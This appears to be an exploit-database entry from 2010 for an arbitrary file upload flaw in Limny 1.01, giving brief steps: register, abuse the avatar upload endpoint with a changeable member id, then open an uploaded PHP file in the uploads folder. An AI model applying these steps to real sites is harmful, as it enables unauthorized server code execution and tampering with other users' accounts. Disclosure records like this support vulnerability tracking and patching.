[] NeoSense

Limny 1.01 - Arbitrary File Upload

Author: JIKO
type: webapps
platform: php
port: 
date_added: 2010-02-08 
date_updated:  
verified: 1 
codes: OSVDB-62262 
tags: 
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.comlimny-1.01.zip

----------[exploit Debut]
[Remote File Upload Vulnerability]
----------[Script Info]

Moi    : JIKO
Site    : No-exploit.Com
Email    : :(

----------[Script Info]

Site:http    : limny.org

----------[exploit Info]

1]~[3 Action]
    the first setup register if the register active
http://server/Path/
    the second setup go to edit your  avatar
http://server/limny/uajax.php?page=avatar&id=[ your ID or id for a member you can change here avatar]
    now go to
path/uploads/[your file || jawa.php]

----------[Thanks]
  HxH, Cyb3r-DeViL, The Sadhacker, kasper,  SkuLL-HacKeR Member No-exploit.Com,all friends
----------[exploit Fin]